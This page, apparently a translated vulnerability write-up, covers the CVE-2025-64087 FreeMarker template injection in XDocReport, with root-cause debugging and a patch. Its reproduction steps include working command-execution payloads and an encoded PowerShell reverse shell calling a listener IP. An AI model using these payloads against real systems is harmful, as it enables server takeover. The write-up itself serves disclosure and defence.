Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

查看仓库
116个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-64087 (SSTI FreeMarker)

服务器端模板注入 (SSTI) 在 XDocReport 中通过 Apache FreeMarker 引擎实现远程代码执行

漏洞定义

漏洞概述

  • 服务器端模板注入 (SSTI) 是一种 Web 安全漏洞,允许攻击者将恶意代码注入到由内容管理系统 (CMS) 和 Web 框架使用的模板中,以实现远程攻击、获取敏感信息或执行系统入侵活动。

  • SSTI 是注入漏洞(如 SQL 注入、XSS 等)的一种变体,攻击者利用模板系统远程部署恶意代码。当 SSTI 攻击成功时,攻击者可以在服务器端执行自己的代码,从而实施远程攻击,如收集敏感信息、执行系统入侵活动以及访问未授权资源。

  • SSTI 漏洞通常是由于使用了不安全的模板系统,或者未能在将输入参数插入模板前对其进行验证和处理。如果 SSTI 攻击成功,后果可能非常严重,给受攻击组织造成重大损失。

业务影响

  • SSTI 漏洞可能引发多种严重后果,包括:

  • 执行恶意代码:攻击者可利用此漏洞在服务器上执行恶意代码,从而窃取数据、执行非法操作,甚至完全控制服务器。

  • 泄露敏感信息:SSTI 允许攻击者读取、修改或删除服务器上的文件。如果这些文件包含敏感信息(如账户和密码),攻击者可以轻易获取。

  • 威胁或欺骗用户:攻击者可通过 SSTI 更改网站内容或添加伪造的自定义按钮来实施威胁或欺骗攻击。如果用户点击这些按钮,攻击者可能窃取用户信息或在用户计算机上安装恶意软件。

严重性:严重

image

描述与影响

在 OpenSAGRES XDocReport 使用 FreeMarker 引擎处理 DOCX 模板时发现了一个服务器端模板注入 (SSTI) 漏洞。在某些配置下,恶意构造的模板可导致远程代码执行 (RCE)。

该人事管理网站允许用户上传 .docx 文档文件到系统。在处理过程中,应用程序使用 FreeMarker 模板引擎(位于 FreemarkerTemplateEngine.java 文件)来渲染内容 ${"freemarker.template.utility.Execute"?new()("whoami")},但没有对输入内容进行控制或过滤。 该漏洞允许攻击者将恶意表达式插入到 .docx 文件(模板)中,导致服务器端远程代码执行 (RCE),并可能被利用来窃取信息或控制系统。

受影响的组件

fr.opensagres.xdocreport.template.freemarker — XDocReport(版本 1.0.0 至 2.1.0)。

根本原因分析

  • 在文件 https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java 中,没有对输入的 xdoc 文件内容进行检查。模板内容被直接加载并传递给 process(context, writer, template) 由 FreeMarker 引擎处理,没有任何沙箱机制或对指令/表达式的限制。结果,攻击者可以提供包含恶意 FreeMarker 表达式/命令的模板,从而导致远程代码执行 (RCE)。

image

复现步骤

  1. 用户上传一个 .docx 文件,其内部包含以下 payload:``` ${"freemarker.template.utility.Execute"?new()("calc")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

2. 发现可以成功执行并打开 calc 应用

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

3. 类似地,使用 payload 获取系统上正在运行的用户信息:```
${"freemarker.template.utility.Execute"?new()("whoami")}

image

image

  1. 可以看到通过模板引擎处理后的 .docx 文件返回了系统数据

image

  1. 类似地,使用以下 payload:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

6. 将影响提升至RCE

- 监听机器是wsl,IP地址为 `172.26.208.130`

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

- 使用以下Payload进行利用:

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}

image

  • 将 .docx 文件交给 xdocreport 处理

image

  • 看到 shell 在 WSL 机器上返回

image

解决方案

阻止反射执行(最安全但当前构建有误)

  • 在文件 xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java 中添加以下内容

image

image

我的修复方法仍然允许正常渲染对象和属性,如 ${cuong.name},仅阻止危险的 built-in 函数

  • 所有 SSTI payload 均被阻止:
    • ${'freemarker.template.utility.Execute'?new()('calc')} - 被阻止 由 ALLOWS_NOTHING_RESOLVER
    • ${'java.lang.Runtime'?api.getRuntime()} - 被阻止 由 setAPIBuiltinEnabled(false)
    • 所有其他使用 ?new() 和 ?api 的 payload 均被阻止

输入验证

1. 主文件 - FreemarkerTemplateEngine.java

Path: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

变更:

  • ✅ 添加导入: java.util.regex.Pattern
    image

  • ✅ 添加方法 validateTemplateSecurity(Reader reader) — 验证危险模式
    image

  • ✅ 更新 processNoCache() — 在创建模板之前添加验证
    image

  • ✅ 更新 process(String templateName, …) — 为此方法添加验证
    image

2. 测试文件 - FreemarkerTemplateEngineSecurityTestCase.java

Path: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

变更:

  • ✅ 创建新测试用例 — 测试常见 SSTI payload
  • ✅ 主要测试的 payload: ${"freemarker.template.utility.Execute"?new()("whoami")}
  • ✅ 附加测试的模式: ?new, java.lang.Runtime, java.lang.ProcessBuilder 等
  • ✅ 安全模板测试 — 确保普通模板仍能正常工作

变更摘要

File变更类型目的
FreemarkerTemplateEngine.java已修改添加了 SSTI 保护
FreemarkerTemplateEngineSecurityTestCase.java新文件测试验证逻辑

最终修复

  • https://github.com/opensagres/xdocreport/pull/705

image

image

在 2.2.0 补丁中,已启用保护机制并成功阻止 SSTI

image

参考资料

  • https://portswigger.net/web-security/server-side-template-injection

设置调试环境

image

  • 在 Main.java 文件中```java package org.example;

import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

public class Main {

root@kitploit:~
public static void main(String[] args) {
    try {
        // Đọc file đầu vào chứa biểu thức Velocity
        File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
        InputStream input = new FileInputStream(docxTemplate);

        // Load template sử dụng FreeMarker
        IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

        // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
        IContext context = report.createContext();

        // Xuất ra file mới
        OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
        report.process(context, out);

        System.out.println("✅ Đã tạo file result.docx thành công.");
    } catch (Exception e) {
        System.err.println("❌ Lỗi xử lý file:");
        e.printStackTrace();
    }
}

}

root@kitploit:~
- 需要导入的库```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

A 起点 (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

root@kitploit:~
→ source正是这个DOCX文件——如果文件由用户上传/写入,则内部的模板内容(FreeMarker语法)是不可信的数据。```
InputStream input = new FileInputStream(docxTemplate);

→ 读取文件内容以转发给 XDocReport。```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

root@kitploit:~
- loadReport(...) 将解析 (parse) DOCX 文件,查找 DOCX 中的 entry/template,并创建一个 IXDocReport(在其内部,它将初始化 FreeMarker 的 Template 对象或为模板保留 reader)。

- DOCX 文件中的模板内容现在位于 report 对象中(尚未执行)。

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

zipInputStream.getNextEntry() 遍历 ZIP (.docx) 中的每个 entry(每个文件)。

archive = new XDocArchive(...) — 如果还没有 archive,则初始化一个对象来组织/注册文档的 entries。

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

总结:这段代码将 DOCX 内容解压缩到一个内部结构 (XDocArchive) 中,以便后续可以访问子文件 (document.xml, ...)。```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                    ITemplateEngine templateEngine, boolean cacheReport )
        throws IOException, XDocReportException
    {
        initializeIfNeeded();
        // 2) zip was loaded, create an instance of report
        IXDocReport report = createReport( sourceStream );
        // 3) Update the report id if need.
        if ( StringUtils.isEmpty( reportId ) )
        {
            reportId = report.toString();
        }
        report.setId( reportId );
        // 4) Search or set the template engine.
        if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
        {
            // Template engine was not forced.
            // Search template engine
            String documentKind = report.getKind();
            templateEngine =
                TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
            if ( templateEngine == null )
            {
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
            }
        }
        report.setTemplateEngine( templateEngine );
        if ( cacheReport )
        {
            registerReport( report );
        }
        return report;
    }

image

总之,在 IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); 处没有 SSTI 检查机制,它仅加载 docx 中的 xml 文件并返回已准备好处理的 IXDocReport report(例如渲染、合并数据等)。

image

在 report.process(context, out); 处

image

  • 这是触发点(执行 sink):XDocReport 将调用相应的引擎(此处为 FreeMarker)将模板与 context 合并,并将结果渲染到 out。
  • 该方法获取之前已加载的文档模板(例如 .docx 或 .odt), 然后将来自 context 对象(通常是 IContext)的数据嵌入到模板中的变量中。
  • 之后它渲染出完整的文档(包含真实数据)并将结果写入 out 流,即写入 results.docx 文件。

深入研究此函数内部,它会调用 preprocess(...) 解析 XML,读取每个 XML 条目,然后解析 XML 内容并创建 BufferedDocument,再写入 Writer(这是经过初步处理的 XML 版本)。

image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

root@kitploit:~
        return false;
    }
    catch ( SAXException e )
    {
        throw new XDocReportException( e );
    }
}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

然后它跳转到 `processNoCache()` 并调用 `getReader()`
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

`getReader()` 函数用于在整个模板周围添加转义指令包裹,以确保内容被安全处理(转义 HTML,防止注入)。

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

原始模板:```xml
<w:p>
  <w:t>Hello ${name}!</w:t>
</w:p>

在 getReader() 处理之后:```xml [#-- Hello ${name}! [/#escape][#--]]>--]

root@kitploit:~
它帮助Freemarker引擎更安全地读取:

- 保护XML:转义XML中的特殊字符
- 安全处理:避免Freemarker解析模板时出错

然后调用`FMParser`来解析Freemarker语法

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

最后进入`process()`调用`environment.process();`和数据读取器```
public void process() throws TemplateException, IOException {
        Object savedEnv = threadEnv.get();
        threadEnv.set(this);
        try {
            // Cached values from a previous execution are possibly outdated.
            clearCachedValues();
            try {
                doAutoImportsAndIncludes(this);
                visit(getTemplate().getRootTreeNode());
                // It's here as we must not flush if there was an exception.
                if (getAutoFlush()) {
                    out.flush();
                }
            } finally {
                // It's just to allow the GC to free memory...
                clearCachedValues();
            }
        } finally {
            threadEnv.set(savedEnv);
        }
    }

👉 这是最重要的步骤——实际渲染发生的地方。

  • getTemplate() 返回已解析的模板(AST)。

  • getRootTreeNode() 是 FMParser 在解析时创建的语法树的根节点。

  • visit() 是 FreeMarker 的核心 API,用于遍历和渲染模板的每个元素,并在 freemarker.core.Environment 中定义。

    • 遇到 TextBlock → 将文本写入 out。

    • 遇到 Interpolation(例如 ${user.name})→ 在 dataModel 中查找,获取值,写入 out。

    • 遇到 #if、#list、#include、macro → 处理相应的逻辑。```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

它在 entryName `word/document.xml` 处触发

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

接下来跳转到 `accept()` 函数

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    TemplateElement[] accept(Environment env) throws TemplateException, IOException {
        final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
        final Writer out = env.getOut();
        if (moOrStr instanceof String) {
            final String s = (String) moOrStr;
            if (autoEscape) {
                markupOutputFormat.output(s, out);
            } else {
                out.write(s);
            }
        } else {
            final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
            final MarkupOutputFormat moOF = mo.getOutputFormat();
            // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
            if (moOF == outputFormat) {
                moOF.output(mo, out);
            } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                final String srcPlainText;
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                srcPlainText = moOF.getSourcePlainText(mo);
                if (srcPlainText == null) {
                    throw new _TemplateModelException(escapedExpression,
                            "The value to print is in ", new _DelayedToString(moOF),
                            " format, which differs from the current output format, ",
                            new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                }
                if (markupOutputFormat != null) {
                    markupOutputFormat.output(srcPlainText, out);
                } else {
                    out.write(srcPlainText);
                }
            } else if (markupOutputFormat != null) {
                markupOutputFormat.outputForeign(mo, out);
            } else {
                moOF.output(mo, out);
            }
        }
        return null;
    }

image```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

在 `visit()` 函数中的执行流程如下```
visit(Interpolation)                // gọi accept(...)
 └─ Interpolation.accept(env)
     └─ calculateInterpolatedStringOrMarkup(env)
         └─ expression.eval(env)
             └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                 └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây

Debug 摘要```

[User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

root@kitploit:~
## 🔍 **可利用的关键点总结**

| 阶段               | 类                    | 作用               | SSTI 关联                |
| ----------------------- | -------------------- | -------------------- | ------------------------- |
| `loadReport()`          | `XDocReportRegistry` | 加载模板         | 不受控输入     |
| `getReader()`           | `TemplateEngine`     | 读取模板数据 | 可能包含 payload       |
| `FMParser`              | `freemarker.core`    | 解析内容       | 变量 `${}` 被解析 |
| `Environment.process()` | `freemarker.core`    | 渲染模板      | 对每个节点调用 `visit()`   |
| `visit()` / `eval()`    | `freemarker.core`    | 执行表达式   | **SSTI / RCE 点** |

---

## 文档

- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link
下载工具
步骤操作目的
1读取 DOCX 文件获取原始报告结构
2创建 IXDocReport代表模板
3分配 ID唯一管理
4选择模板引擎处理表达式 (Freemarker/Velocity)
5如果需要则缓存优化性能
6返回 report用于渲染结果文件